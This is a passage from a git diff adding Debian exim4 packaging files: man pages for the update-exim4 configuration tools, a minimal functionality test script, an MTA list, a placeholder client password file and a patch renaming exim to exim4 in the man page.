+processes varies in different operating systems.
+Not only are different options used, but the format of the output is
+different.
+For this reason, there are some system configuration options that configure
+exactly how
+.B exiwhat
+works.
+If it doesn't seem to be working for you, check the following compile-time
+options:
+.TP
+.I EXIWHAT_PS_CMD
+the command for running \(lqps\(rq
+.TP
+.I EXIWHAT_PS_ARG
+the argument for \(lqps\(rq
+.TP
+.I EXIWHAT_EGREP_ARG
+the argument for \(lqegrep\(rq to select from \(lqps\(rq output
+.TP
+.I EXIWHAT_KILL_ARG
+the argument for the \(lqkill\(rq command
+.PP
+An example of typical output from
+.B exiwhat
+is
+
+.nf
+ 164 daemon: \-q1h, listening on port 25
+10483 running queue: waiting for 0tAycK-0002ij-00 (10492)
+10492 delivering 0tAycK-0002ij-00 to mail.ref.example [10.19.42.42]
+ (editor@ref.example)
+10592 handling incoming call from [192.168.243.242]
+10628 accepting a local non-SMTP message
+.fi
+
+The first number in the output line is the process number.
+The third line has been split here, in order to fit it on the page.
+
+.SH BUGS
+This manual page needs a major re-work. If somebody knows better groff
+than us and has more experience in writing manual pages, any patches
+would be greatly appreciated.
+
+.SH SEE ALSO
+.BR exim (8),
+/usr/share/doc/exim4\-base/
+
+.SH AUTHOR
+This manual page was stitched together from spec.txt by
+Andreas Metzler <ametzler at downhill.at.eu.org>,
+for the Debian GNU/Linux system (but may be used by others).
diff --git a/debian/manpages/update-exim4.conf.8 b/debian/manpages/update-exim4.conf.8
new file mode 100644
index 0000000..9a4efcb
--- /dev/null
+++ b/debian/manpages/update-exim4.conf.8
@@ -0,0 +1,346 @@
+.\" Hey, EMACS: -*- nroff -*-
+.\" First parameter, NAME, should be all caps
+.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection
+.\" other parameters are allowed: see man(7), man(1)
+.TH UPDATE-EXIM4.CONF 8 "Jun 25, 2005" EXIM4
+.\" Please adjust this date whenever revising the manpage.
+.\"
+.\" Some roff macros, for reference:
+.\" .nh disable hyphenation
+.\" .hy enable hyphenation
+.\" .ad l left justify
+.\" .ad b justify to both left and right margins
+.\" .nf disable filling
+.\" .fi enable filling
+.\" .br insert line break
+.\" .sp <n> insert n+1 empty lines
+.\" for manpage-specific macros, see man(7)
+.\" \(oqthis text is enclosed in single quotes\(cq
+.\" \(lqthis text is enclosed in double quotes\(rq
+.SH NAME
+update\-exim4.conf \- Generate exim4 configuration files.
+
+.SH SYNOPSIS
+.B update\-exim4.conf [\-v|\-\-verbose] [\-h|\-\-help] [\-\-keepcomments] [\-\-removecomments] [\-o|\-\-output file]
+
+.SH OPTIONS
+.TP
+.I \-\-check
+Generate temporary configuration file, check its validity and exit with
+either success (exitcode 0) or an error (exitcode 1). On success the
+temporary file is deleted, otherwise the file is left for further
+debugging.
+.TP
+.I \-d|\-\-confdir directory
+Read input from directory instead of /etc/exim4.
+.TP
+.I \-h|\-\-help
+Show short help message and exit
+.TP
+.I \-\-keepcomments
+Do not remove comment lines from the output file.
+.TP
+.I \-o|\-\-output file
+Write output to file instead of /var/lib/exim4/config.autogenerated.
+.TP
+.I \-\-removecomments
+Remove comment lines from the output file. [Default]
+.TP
+.I \-v|\-\-verbose
+Enable verbose mode
+
+.SH DESCRIPTION
+The script
+.B update\-exim4.conf
+generates the main configuration files
+.I /var/lib/exim4/config.autogenerated
+for
+.B Exim v4
+by merging the data in the template file
+.I /etc/exim4/exim4.conf.template
+or the ones in the
+.I /etc/exim4/conf.d
+directory tree respectively and
+.I /etc/exim4/update\-exim4.conf.conf
+to the output file
+.I /var/lib/exim4/config.autogenerated.
+.PP
+If dc_use_split_config in /etc/exim4/update\-exim4.conf.conf specifies a split
+configuration,
+.B update\-exim4.conf
+processes the /etc/exim4/conf.d subdirectories in the order main, acl,
+router, transport, retry, rewrite and auth. Within each directory it takes
+files in lexical sort order by file name. It concatenates all these files
+and makes the debconf replacement described below.
+
+If you are not using split configuration
+.B update\-exim4.conf
+concatenates
+/etc/exim4/exim4.conf.localmacros
+(if this file exists) and /etc/exim4/exim4.conf.template (in this order) and
+makes the debconf replacement described below.
+
+In either case, before outputting the result
+to /var/lib/exim4/config.autogenerated,
+.B update\-exim4.conf
+generates a number of exim configuration macros from the contents of
+dc_something from /etc/exim4/update\-exim4.conf.conf and inserts them
+into the configuration right after the definition of the exim
+configuration macro UPEX4CmacrosUPEX4C (which is only used as
+placeholder for this case). The macro definitions are bracketed
+with .ifdef clauses to allow the local admin to override the values with
+earlier definitions.
+.B update\-exim4.conf
+makes no other changes to the configuration.
+This makes it very simple to make small changes to the configuration and
+still have the benefits of debconf.
+
+On the other hand if you don't want to manage exim4.conf with debconf
+install your own handcrafted version as /etc/exim4/exim4.conf.
+Exim will use this file if it exists and ignore the autogenerated one.
+Additionally you might want to set
+.I dc_eximconfig_configtype=none
+in /etc/exim4/update\-exim4.conf.conf to stop debconf from asking you questions about exim4.
+
+.B update\-exim4.conf
+exits silently and does nothing if /etc/exim4/exim4.conf exists and \-o
+was not used to direct the output to a different file than
+/var/lib/exim4/config.autogenerated.
+
+.B update\-exim4.conf
+will only use files in the conf.d directory that have a filename which
+consists only of letters, numbers, underscores and hyphens
+([:alnum:]_\-), similar to
+.B run\-parts(8).
+Additionally,
+.B update\-exim4.conf
+will use /etc/exim4/conf.d/foo/bar.rul instead of
+/etc/exim4/conf.d/foo/bar if the .rul file exists. This is meant to be
+helpful for easy interaction with packages extending Exim.
+
+If the new configuration will be written to
+/var/lib/exim4/config.autogenerated,
+.B update\-exim4.conf
+will check the validity of the freshly generated configuration. If
+the new file is detected as invalid, update-exim4.conf leaves the old
+/var/lib/exim4/config.autogenerated untouched and exits with an error.
+
+However, there are still possible invalidities that can only be
+detected at run time. This most notably applies to errors in
+expressions that are expanded at run time.
+
+If the new configuration will be written to some other file, no
+validity checking occurs and that file will always be overwritten.
+
+.SH EXAMPLES
+You want to be able to check exim's queue as normal user: Generate a new
+file, e.g. /etc/exim4/conf.d/main/40_local_mailq, containing only the line
+.I queue_list_requires_admin = false
+
+.SH NOTES
+.B update\-exim4.conf
+changes the file permissions of the output file to the value of the environment
+variable CFILEMODE. If CFILEMODE is neither set in
+/etc/exim4/update\-exim4.conf.conf nor in the environment it defaults to 0644.
+Change this to 0640 if you are keeping sensitive information (LDAP credentials
+et. al.) in there.
+
+.SH CONFIGURATION VARIABLES
+All lists given in configuration variables are semicolon-separated. In
+the past, they used to be colon separated. This was changed to
+semicolon separation to make specification of IPv6 addresses easier.
+Backwards compatibility is preserved, so that old configurations using
+colons as separators do still work. Colons are deprecated and might
+stop working in a later release. If you need to specify a single IPv6
+address in a field that is defined as a list of host names or IP
+addresses, please prefix "<;" to explicitly specify the list separator
+as a semicolon. Otherwise, the code cannot tell an IP address from a
+colon-separated list of strange host names.
+
+Using lookups like "dsearch;something" in update-exim4.conf.conf has
+never been supported and does no longer work! If you need this, please
+convert to directly setting the appropriate macros.
+
+.B update\-exim4.conf
+evaluates these patterns in
+.B /etc/exim4/update\-exim4.conf.conf:
+.TP
+.I CFILEMODE
+The octal file mode of the generated file.
+.TP
+.I dc_eximconfig_configtype
+The main configuration type. Sets macro DC_eximconfig_configtype. The macro
+usually contains a shorthand for one of the choices for the
+\(lqGeneral type of mail configuration\(rq debconf question (See
+README.Debian).
+
+.RS
+.B dc_eximconfig_configtype <-> debconf configtype mapping:
+.PD 0.1
+.TP
+\(lqinternet\(rq
+internet site; mail is sent and received directly using SMTP
+.TP
+\(lqsmarthost\(rq
+mail sent by smarthost; received via SMTP or fetchmail
+.TP
+\(lqsatellite\(rq
+mail sent by smarthost; no local mail
+.TP
+\(lqlocal\(rq
+local delivery only; not on a network
+.TP
+\(lqnone\(rq
+no configuration at this time
+.PD
+.RE
+
+.TP
+.I dc_hide_mailname
+Boolean option that controls whether the local mailname in the headers of
+outgoing mail should be hidden. (Only effective for \(lqsmarthost\(rq and
+\(lqsatellite\(rq. Sets macro HIDE_MAILNAME.
+.TP
+.I dc_mailname_in_oh
+Internal use only Boolean option that is set by the maintainer scripts
+after adding the contents of /etc/mailname to the dc_other_hostnames
+list. This is a transition helper since it wouldn't otherwise be
+possible to see whether that domain name has been removed from
+dc_other_hostnames on purpose. This is not used by update-exim4.conf,
+and no macro is set.
+.TP
+.I ue4c_keepcomments
+Boolean option that controls whether
+.B update\-exim4.conf
+strips the comments from the target configuration file (default) or
+leaves them in. This can be overridden by the command line options
+\-\-keepcomments and \-\-removecomments. The value is not written to an
+exim macro.
+.TP
+.I dc_localdelivery
+name of the default transport for local mail delivery. Defaults to mail_spool
+if unset, use maildir_home for delivery to ~/Maildir/. Sets macro
+LOCAL_DELIVERY.
+.TP
+.I dc_local_interfaces
+List of IP addresses the Exim daemon should listen on. If this is left
+empty, Exim listens on all interfaces. Sets macro
+MAIN_LOCAL_INTERFACES only if there is a non-empty value.
+.TP
+.I dc_minimaldns
+Boolean option to activate some option to minimize DNS lookups, if set to
+\(lqtrue\(rq a macro DC_minimaldns is defined. If true, the macro
+DC_minimaldns is set to 1, and the macro
+MAIN_HARDCODE_PRIMARY_HOSTNAME is set to the appropriately
+post-processes output of hostname \-\-fqdn.
+.TP
+.I dc_other_hostnames
+is used to build the local_domains list, together with \(lqlocalhost\(rq.
+This is the list of domains for which this machine should
+consider itself the final destination. The local_domains list ends up
+in the macro MAIN_LOCAL_DOMAINS.
+.TP
+.I dc_readhost
+For \(lqsmarthost\(rq and \(lqsatellite\(rq it is possible to hide the local
+mailname in the headers of outgoing mail and replace it with this value
+instead, using rewriting. For \(lqsatellite\(rq only, this value is
+also the host to send local mail to. Sets macro DCreadhost.
+.TP
+.I dc_relay_domains
+is a list of domains for which we accept mail from anywhere on the
+Internet but which are not delivered locally, e.g. because this machine
+serves as secondary MX for these domains. Sets MAIN_RELAY_TO_DOMAINS.
+.TP
+.I dc_relay_nets
+A list of machines for which we serve as smarthost. Please note that
+127.0.0.1 and ::1 are always permitted to relay since /usr/lib/sendmail
+is available anyway and relay control doesn't make sense here. Sets
+macro MAIN_RELAY_NETS.
+.TP
+.I dc_smarthost
+List of hosts to which all outgoing mail is passed to and that takes care
+of delivering it. Each of the hosts is tried, in the order specified
+(See exim specification, chapter 20.5). All deliveries go out to TCP
+port 25 unless a different port is specified after the host name,
+separated from the host name by two colons. Colons in IPv6 addresses need
+to be doubled. If a port number follows, IP addresses may be enclosed in
+brackets, which might be the only possibility to specify delivery to an
+IPv6 address and a different port. Examples:
+.br
+.BR host.domain.example
+deliver to host looked up on DNS, tcp/25
+.br
+.BR host.domain.example::587
+deliver to host looked up on DNS, tcp/587
+.br
+.BR 192.168.2.4
+deliver to IPv4 host, tcp/25
+.br
+.BR 192.168.2.4::587
+deliver to IPv4 host, tcp/587
+.br
+.BR [192.168.2.4]::587
+deliver to IPv4 host, tcp/587
+.br
+.BR 2001::0db8::f::4::::2
+deliver to IPv6 host, tcp/25
+.br
+.BR [2001::0db8::f::4::::2]::587
+deliver to IPv6 host, tcp/587
+.br
+This is used as value of the DCsmarthost macro.
+.TP
+.I dc_use_split_config
+Boolean option that controls whether
+.B update\-exim4.conf
+uses /etc/exim4/exim4.conf.template (\(lqfalse\(rq) or the multiple files
+below /etc/exim4/conf.d (\(lqtrue\(rq) as input. This does not set any
+macros.
+.TP
+.I The macro MAIN_PACKAGE_VERSION is set to Debian's Version number of
+the package being installed for convenient inclusion in the
+configuration.
+
+.SH RECOMMENDED USAGE
+If you are running exim as daemon (as it is in the default setup of the
+Debian packages) you should not invoke
+.B update\-exim4.conf
+directly when exim is running. For SMTP receiving or queue running,
+exim forks, and the new processes would use the new configuration file,
+while the original main exim daemon would still use the old configuration
+file. You should use
+.I invoke\-rc.d exim4 restart
+instead.
+
+.SH BUGS
+This manual page needs a major re-work. If somebody knows better groff
+than us and has more experience in writing manual pages, any patches
+would be greatly appreciated.
+
+.SH FILES
+.LP
+.TP
+.B /var/lib/exim4/config.autogenerated
+Exim's main configuration file
+.LP
+.TP
+.B /etc/exim4/exim4.conf
+Optional manually managed Exim main configuration file. Takes precedence over
+debconf managed one if it exists.
+.LP
+.TP
+.B /etc/exim4/update-exim4.conf.conf
+Configuration file being written by exim4-config maintainer scripts,
+which may be hand-edited, and is read as input by update-exim4.conf.
+
+.SH SEE ALSO
+.BR exim (8),
+.BR exim4-config_files(5),
+/usr/share/doc/exim4\-base/ and for general notes and details about interaction
+with debconf
+/usr/share/doc/exim4\-base/README.Debian.gz
+
+.SH AUTHOR
+Andreas Metzler <ametzler at debian.org>
+.br
+Marc Haber <mh+debian-packages@zugschlus.de>
diff --git a/debian/manpages/update-exim4.conf.template.8 b/debian/manpages/update-exim4.conf.template.8
new file mode 100644
index 0000000..4b65a82
--- /dev/null
+++ b/debian/manpages/update-exim4.conf.template.8
@@ -0,0 +1,92 @@
+.\" Hey, EMACS: -*- nroff -*-
+.\" First parameter, NAME, should be all caps
+.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection
+.\" other parameters are allowed: see man(7), man(1)
+.TH UPDATE-EXIM4.CONF.TEMPLATE 8 "Feb 27, 2005" EXIM4
+.\" Please adjust this date whenever revising the manpage.
+.\"
+.\" Some roff macros, for reference:
+.\" .nh disable hyphenation
+.\" .hy enable hyphenation
+.\" .ad l left justify
+.\" .ad b justify to both left and right margins
+.\" .nf disable filling
+.\" .fi enable filling
+.\" .br insert line break
+.\" .sp <n> insert n+1 empty lines
+.\" for manpage-specific macros, see man(7)
+.\" \(oqthis text is enclosed in single quotes\(cq
+.\" \(lqthis text is enclosed in double quotes\(rq
+.SH NAME
+update\-exim4.conf.template \- Regenerate exim4 configuration file template.
+.SH SYNOPSIS
+.B update\-exim4.conf.template [\-h|\-\-help] [\-n|\-\-nobackup] [\-o|\-\-output file] [\-r|\-\-run]
+
+.SH OPTIONS
+.TP
+.I \-h|\-\-help
+Show short help message and exit
+.TP
+.I \-n|\-\-nobackup
+Overwrite existing file, instead of keeping it as
+/etc/exim4/exim4.conf.template.bak.random-number
+.TP
+.I \-o|\-\-output file
+Write output to file instead of /etc/exim4/exim4.conf.template.
+.TP
+.I \-r|\-\-run
+Actually do something. If this option is not specified
+.B update\-exim4.conf.template
+will exit immediately. This option was introduced because
+.B update\-exim4.conf.template
+overwrites configuration files.
+
+.SH DESCRIPTION
+The script
+.B update\-exim4.conf.template
+regenerates the main configuration file template
+.I /etc/exim4/exim4.conf.template
+from the configuration snippets in the
+.I /etc/exim4/conf.d
+directory tree.
+.PP
+This process will overwrite all local changes in
+.I /etc/exim4/exim4.conf.template
+and might be useful if there are local changes in the
+.I /etc/exim4/conf.d
+directory tree, for example by a new mail related package dropping its
+own configuration snippets in there.
+
+.B update\-exim4.conf.template
+ignores all files in the conf.d directory that have a filename which
+does not consist only of letters, numbers, underscores and hyphens
+([:alnum:]_\-), similar to
+.B run\-parts(8).
+For easy interaction with packages extending Exim additionally
+/etc/exim4/conf.d/foo/bar.rul is used instead of
+/etc/exim4/conf.d/foo/bar if it exists!
+
+.SH ENVIRONMENT
+If
+.B CONFDIR
+is set
+.B update\-exim4.conf.template
+will search for the input files below $CONFDIR/conf.d instead of
+/etc/exim4/conf.d/ and will write the output to $CONFDIR/exim4.conf.template
+instead of to /etc/exim4/exim4.conf.template (unless overridden with \-o or
+\-\-output).
+
+
+.SH BUGS
+This manual page needs a major re-work. If somebody knows better groff
+than us and has more experience in writing manual pages, any patches
+would be greatly appreciated.
+
+.SH SEE ALSO
+.BR exim4 (8),
+/usr/share/doc/exim4\-base/ and for general notes and details about interaction
+with debconf
+/usr/share/doc/exim4\-base/README.Debian.gz
+
+.SH AUTHOR
+Marc Haber <mh+debian\-packages@zugschlus.de>
diff --git a/debian/manpages/update-exim4defaults.8 b/debian/manpages/update-exim4defaults.8
new file mode 100644
index 0000000..da74a65
--- /dev/null
+++ b/debian/manpages/update-exim4defaults.8
@@ -0,0 +1,173 @@
+.\" Hey, EMACS: -*- nroff -*-
+.\" First parameter, NAME, should be all caps
+.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection
+.\" other parameters are allowed: see man(7), man(1)
+.TH UPDATE-EXIM4DEFAULTS 8 "March 26, 2003" EXIM4
+.\" Please adjust this date whenever revising the manpage.
+.\"
+.\" Some roff macros, for reference:
+.\" .nh disable hyphenation
+.\" .hy enable hyphenation
+.\" .ad l left justify
+.\" .ad b justify to both left and right margins
+.\" .nf disable filling
+.\" .fi enable filling
+.\" .br insert line break
+.\" .sp <n> insert n+1 empty lines
+.\" for manpage-specific macros, see man(7)
+.\" \(oqthis text is enclosed in single quotes\(cq
+.\" \(lqthis text is enclosed in double quotes\(rq
+.SH NAME
+update\-exim4defaults \- Manage exim4 daemon default file.
+.SH SYNOPSIS
+.B update\-exim4defaults
+.I [ \-\-qflags flags ]
+.I [ \-\-queuerunner combined|queueonly|separate|ppp|no|nodaemon ]
+.I [ \-\-queuetime time ]
+.I [ \-\-commonoptions options ]
+.I [ \-\-queuerunneroptions options ]
+.I [ \-\-smtplisteneroptions options ]
+.I [ \-\-remove\-common options ]
+.I [ \-\-remove\-queue options ]
+.I [ \-\-remove\-smtp options ]
+.I [ \-\-force|\-f ]
+.I [ \-\-help|\-h ]
+.I [ \-\-init ]
+
+.SH DESCRIPTION
+.B update\-exim4defaults
+allows one to set run parameters for the
+.B Exim
+daemon in
+.I /etc/default/exim4.
+Its main purpose is for interaction with packages enhancing
+.B Exim
+like virus-scanners that need to change the way the exim daemon is started.
+.PP
+
+.SH OPTIONS
+.TP
+.I \-\-help|\-h
+Print short usage instructions and exit.
+.TP
+.I \-\-qflags flags
+Set qflags, special flags given to exim directly after the \(lq\-q\(rq. See
+.B exim(8)
+for more information.
+.TP
+.I \-\-queuerunner combined|queueonly|separate|ppp|no|nodaemon
+Should the init script start one daemon that listens on the smtp port for
+incoming connections and runs the queue at regular intervals
+.I (combined)
+, or should it start two separate daemons, one listening on the smtp port,
+the other running the queue
+.I (separate)
+, or should the queue only be run by /etc/ppp/ip\-up.d/exim4
+.I (ppp)
+, or shouldn't we run the queue at all, for example if you'd rather do this
+with
+.B cron
+? Or should we only start a queuerunner
+.I (queueonly)
+or no daemon at all
+.I (nodaemon)
+?
+.TP
+.I \-\-queuetime time
+In which intervals should we run the queue? This passed as option
+.I \-q<qflags>time
+to Exim, e.g. \-q30m or \-qq1h.
+.TP
+.I \-\-commonoptions options
+Options passed both to queue\-running and listening instances of Exim.
+.TP
+.I \-\-queuerunneroptions options
+Options only passed to the instance of Exim running the queue.
+.TP
+.I \-\-smtplisteneroptions options
+Options only passed to the instance of Exim listening on the SMTP port.
+.TP
+.I \-\-force|\-f
+Without this option
+.B update\-exim4defaults
+exits with an error if at least one of the options \-\-queuetime,
+\-\-commonoptions, \-\-queuerunneroptions or \-\-smtplisteneroptions is used and the
+corresponding value in /etc/default/exim4 is
+.I already
+set to a nonempty value.
+.TP
+.I \-\-remove\-common option
+Try to remove the given option from COMMONOPTIONS.
+.TP
+.I \-\-remove\-queue option
+Try to remove the given option from QUEUERUNNEROPTIONS.
+.TP
+.I \-\-remove\-smtp option
+Try to remove the given option from SMTPLISTENEROPTIONS.
+.PP
+The \-\-remove\-commands cannot be used at the same time as any of \-\-commonoptions,
+\-\-queuerunneroptions or \-\-smtplisteneroptions. The \-\-remove\-commands will
+additionally remove whitespace at the beginning and the end of the option and
+exchange multiple spaces wi a single one.
+.TP
+.I \-\-init
+create a default /etc/default/exim4 file and exit immediately. Unless
+.I \-\-force
+was also specified
+.B update\-exim4defaults
+exits (successfully) without doing anything if /etc/default/exim4 already
+exists. All other options are ignored.
+
+.SH EXIT STATUS
+.TP
+.I 0
+change was successful or nothing needed to be done.
+.TP
+.I 1
+generic error: wrong options, unreadable configuration file, etc.
+.TP
+.I 2
+QUEUEINTERVAL was already set.
+.TP
+.I 4
+COMMONOPTIONS was already set.
+.TP
+.I 8
+QUEUERUNNEROPTIONS was already set.
+.TP
+.I 16
+SMTPLISTENEROPTIONS was already set.
+.TP
+.I 32
+QFLAGS was already set.
+.TP
+.I 64
+\-\-remove\-something failed, i.e. the value of the option was not changed.
+.PP
+Exit codes 2 to 32 will be summed up, if more than one unsuccessful option was
+given.
+
+.SH FILES
+.TP
+.I /etc/default/exim4
+The configuration file.
+.TP
+.I /etc/init.d/exim4
+The Exim init\-script.
+.TP
+.I /etc/ppp/ip\-up.d/exim4
+The queuerunner in this file also uses COMMONOPTIONS and QUEUERUNNEROPTIONS and
+does not run if QUEUERUNNER=no.
+
+
+.SH BUGS
+This manual page needs a major re-work. If somebody knows better groff
+than us and has more experience in writing manual pages, any patches
+would be greatly appreciated.
+
+.SH SEE ALSO
+.BR exim (8),
+/usr/share/doc/exim4\-base/
+
+.SH AUTHOR
+Andreas Metzler <ametzler at downhill.at.eu.org>
diff --git a/debian/minimaltest b/debian/minimaltest
new file mode 100644
index 0000000..97f5ccb
--- /dev/null
+++ b/debian/minimaltest
@@ -0,0 +1,87 @@
+#!/bin/sh
+
+set -e
+
+# Do not run as root
+if [ `id -u` = "0" ]; then
+ echo $0: running with id 0, exiting.
+ exit 0
+fi
+
+if ! test -x "$2" ; then
+ echo "\$2 $2: not exeutable"
+ exit 1
+fi
+
+# set up directorytree
+if ! echo "$1" | grep -q '^/......' && test -d "$1"; then
+ echo \$1 needs to be absolute patch
+ exit 1
+fi
+
+echo ========================================
+echo running minimal functionality test for binary $2 in directory $1
+
+top="$1/eximtest"
+
+rm -rf $1/eximtest/*
+mkdir -p $top/var/log $top/var/spool/db $top/var/spool/input $top/var/spool/msglog $top/run $top/var/mail
+cat <<EOF > $top/exim4.conf
+exim_user = `id -u`
+exim_group = `id -g`
+log_file_path = $top/var/log/%slog
+spool_directory = $top/var/spool
+pid_file_path = $top/run
+primary_hostname = eximtest.example.com
+rfc1413_hosts =
+
+begin routers
+eximtest:
+ driver = accept
+ transport = writetofile
+
+begin transports
+writetofile:
+ driver = appendfile
+ file = $top/var/mail/\$local_part
+ delivery_date_add
+ envelope_to_add
+ return_path_add
+EOF
+
+cat <<EOF > $top/var/mail/compare
+From from@eximtest.example.com Sat May 07 12:12:12 2012
+Return-path: <from@eximtest.example.com>
+Envelope-to: recip@eximtest.example.com
+Delivery-date: Sat, 07 May 2011 12:12:12 +0000
+Received: from buildd by eximtest.example.com with local (Exim 4.44)
+ (envelope-from <from@eximtest.example.com>)
+ id msgid
+ for recip@eximtest.example.com;Sat, 07 May 2011 12:12:12 +0000
+From: Testing Exim <from@eximtest.example.com>
+To: Recipient <recip@eximtest.example.com>
+Subject: Test Message
+Message-Id: <Emsgid@eximtest.example.com>
+Date: Sat, 07 May 2011 12:12:12 +0000
+
+no body
+
+EOF
+
+$2 -C "$top/exim4.conf" -bV
+$2 -C "$top/exim4.conf" -be '${if bool{0}{yes}{no}} X ${if !bool{0}{yes}{no}}'
+$2 -C "$top/exim4.conf" -bt local
+printf 'From: Testing Exim <from@eximtest.example.com>\nTo: Recipient <recip@eximtest.example.com>\nSubject: Test Message\n\nno body\n' | \
+$2 -C "$top/exim4.conf" -odf -oep -oi -t -f from@eximtest.example.com
+sed -i -e 's/^From \([^ ]*\) .*/From \1 Sat May 07 12:12:12 2012/' \
+ -e 's/^Delivery-date: .*/Delivery-date: Sat, 07 May 2011 12:12:12 +0000/' \
+ -e 's/^Received: from [^ ][^ ]* /Received: from buildd /' \
+ -e '/^Received:/s/(Exim [^)]*/(Exim 4.44/' \
+ -e '/[[:space:]]for /s/;.*/;Sat, 07 May 2011 12:12:12 +0000/' \
+ -e '/[[:space:]]id /s/id .*/id msgid/' \
+ -e 's/^Message-Id: [^@]*/Message-Id: <Emsgid/' \
+ -e 's/^Date: .*/Date: Sat, 07 May 2011 12:12:12 +0000/' \
+ $top/var/mail/recip
+
+diff -u $top/var/mail/recip $top/var/mail/compare
+exit 0
diff --git a/debian/mtalist b/debian/mtalist
new file mode 100644
index 0000000..23e03d0
--- /dev/null
+++ b/debian/mtalist
@@ -0,0 +1 @@
+citadel-server, courier-mta, dma, esmtp-run, hula-mta, masqmail, msmtp-mta, mta-dummy, nullmailer, opensmtpd, postfix, qmail-run, sendmail-bin, smail, ssmtp, xmail, zmailer
diff --git a/debian/passwd.client b/debian/passwd.client
new file mode 100644
index 0000000..2f06b8d
--- /dev/null
+++ b/debian/passwd.client
@@ -0,0 +1,7 @@
+# password file used when the local exim is authenticating to a remote
+# host as a client.
+#
+# see exim4_passwd_client(5) for more documentation
+#
+# Example:
+### target.mail.server.example:login:password
diff --git a/debian/patches/31_eximmanpage.dpatch b/debian/patches/31_eximmanpage.dpatch
new file mode 100755
index 0000000..b8f8bf6
--- /dev/null
+++ b/debian/patches/31_eximmanpage.dpatch
@@ -0,0 +1,250 @@
+Description: We ship the binary as exim4 instead of exim, fix manpage
+ accordingly.
+Author: Marc Haber <mh+debian-packages@zugschlus.de>,
+ Andreas Metzler <ametzler@bebt.de>
+Last-Update: 2018-12-31
+Forwarded: not-needed (upstream uses the "exim" name)
+
+--- a/doc/exim.8
++++ b/doc/exim.8
+@@ -1,9 +1,9 @@
+-.TH EXIM 8
++.TH EXIM4 8
+ .SH NAME
+-exim \- a Mail Transfer Agent
++exim4 \- a Mail Transfer Agent
+ .SH SYNOPSIS
+ .nf
+-.B exim [options] arguments ...
++.B exim4 [options] arguments ...
+ .B mailq [options] arguments ...
+ .B rsmtp [options] arguments ...
+ .B rmail [options] arguments ...
+@@ -40,7 +40,7 @@ local message on the standard input, wit
+ recipients) is assumed. Thus, for example, if Exim is installed in
+ \fI/usr/sbin\fP, you can send a message from the command line like this:
+ .sp
+- /usr/sbin/exim -i <recipient-address(es)>
++ /usr/sbin/exim4 -i <recipient-address(es)>
+ <message content, including all the header lines>
+ CTRL-D
+ .sp
+@@ -125,8 +125,8 @@ ports, on multiple ports, and only on sp
+ .sp
+ When a listening daemon
+ is started without the use of \fB\-oX\fP (that is, without overriding the normal
+-configuration), it writes its process id to a file called exim\-daemon.pid
+-in Exim's spool directory. This location can be overridden by setting
++configuration), it writes its process id to a file called
++/var/run/exim4/exim.pid. This location can be overridden by setting
+ PID_FILE_PATH in Local/Makefile. The file is written while Exim is still
+ running as root.
+ .sp
+@@ -180,7 +180,7 @@ available to admin users.
+ This option operates like \fB\-be\fP except that it must be followed by the name
+ of a file. For example:
+ .sp
+- exim \-bem /tmp/testmessage
++ exim4 \-bem /tmp/testmessage
+ .sp
+ The file is read as a message (as if receiving a locally\-submitted non\-SMTP
+ message) before any of the test expansions are done. Thus, message\-specific
+@@ -206,7 +206,7 @@ If you want to test a system filter file
+ can use both \fB\-bF\fP and \fB\-bf\fP on the same command, in order to test a system
+ filter and a user filter in the same run. For example:
+ .sp
+- exim \-bF /system/filter \-bf /user/filter </test/message
++ exim4 \-bF /system/filter \-bf /user/filter </test/message
+ .sp
+ This is helpful when the system filter adds header lines or sets filter
+ variables that are used by the user filter.
+@@ -258,8 +258,8 @@ This option runs a fake SMTP session as
+ standard input and output. The IP address may include a port number at the end,
+ after a full stop. For example:
+ .sp
+- exim \-bh 10.9.8.7.1234
+- exim \-bh fe80::a00:20ff:fe86:a061.5678
++ exim4 \-bh 10.9.8.7.1234
++ exim4 \-bh fe80::a00:20ff:fe86:a061.5678
+ .sp
+ When an IPv6 address is given, it is converted into canonical form. In the case
+ of the second example above, the value of \fI$sender_host_address\fP after
+@@ -417,7 +417,7 @@ main configuration options to be written
+ of one or more specific options can be requested by giving their names as
+ arguments, for example:
+ .sp
+- exim \-bP qualify_domain hold_domains
++ exim4 \-bP qualify_domain hold_domains
+ .sp
+ However, any option setting that is preceded by the word "hide" in the
+ configuration file is not shown in full, except to an admin user. For other
+@@ -445,7 +445,7 @@ written directly into the spool director
+ .sp
+ If \fB\-bP\fP is followed by a name preceded by +, for example,
+ .sp
+- exim \-bP +local_domains
++ exim4 \-bP +local_domains
+ .sp
+ it searches for a matching named list of any type (domain, host, address, or
+ local part) and outputs what it finds.
+@@ -454,7 +454,7 @@ If one of the words \fBrouter\fP, \fBtra
+ followed by the name of an appropriate driver instance, the option settings for
+ that driver are output. For example:
+ .sp
+- exim \-bP transport local_delivery
++ exim4 \-bP transport local_delivery
+ .sp
+ The generic driver options are output first, followed by the driver's private
+ options. A list of the names of drivers of a particular type can be obtained by
+@@ -539,7 +539,7 @@ This option is for testing retry rules,
+ arguments. It causes Exim to look for a retry rule that matches the values
+ and to write it to the standard output. For example:
+ .sp
+- exim \-brt bach.comp.mus.example
++ exim4 \-brt bach.comp.mus.example
+ Retry rule: *.comp.mus.example F,2h,15m; F,4d,30m;
+ .sp
+ The first
+@@ -552,7 +552,7 @@ rule is found that matches the host, one
+ sought. Finally, an argument that is the name of a specific delivery error, as
+ used in setting up retry rules, can be given. For example:
+ .sp
+- exim \-brt haydn.comp.mus.example quota_3d
++ exim4 \-brt haydn.comp.mus.example quota_3d
+ Retry rule: *@haydn.comp.mus.example quota_3d F,1h,15m
+ .TP 10
+ \fB\-brw\fP
+@@ -655,7 +655,7 @@ doing such tests.
+ .TP 10
+ \fB\-bV\fP
+ This option causes Exim to write the current version number, compilation
+-number, and compilation date of the \fIexim\fP binary to the standard output.
++number, and compilation date of the \fIexim4\fP binary to the standard output.
+ It also lists the DBM library that is being used, the optional modules (such as
+ specific lookup types), the drivers that are included in the binary, and the
+ name of the runtime configuration file that is in use.
+@@ -683,7 +683,7 @@ If no arguments are given, Exim runs in
+ right angle bracket for addresses to be verified.
+ .sp
+ Unlike the \fB\-be\fP test option, you cannot arrange for Exim to use the
+-readline() function, because it is running as \fIexim\fP and there are
++readline() function, because it is running as \fIexim4\fP and there are
+ security issues.
+ .sp
+ Verification differs from address testing (the \fB\-bt\fP option) in that routers
+@@ -796,14 +796,14 @@ command line item. \fB\-D\fP can be used
+ string, in which case the equals sign is optional. These two commands are
+ synonymous:
+ .sp
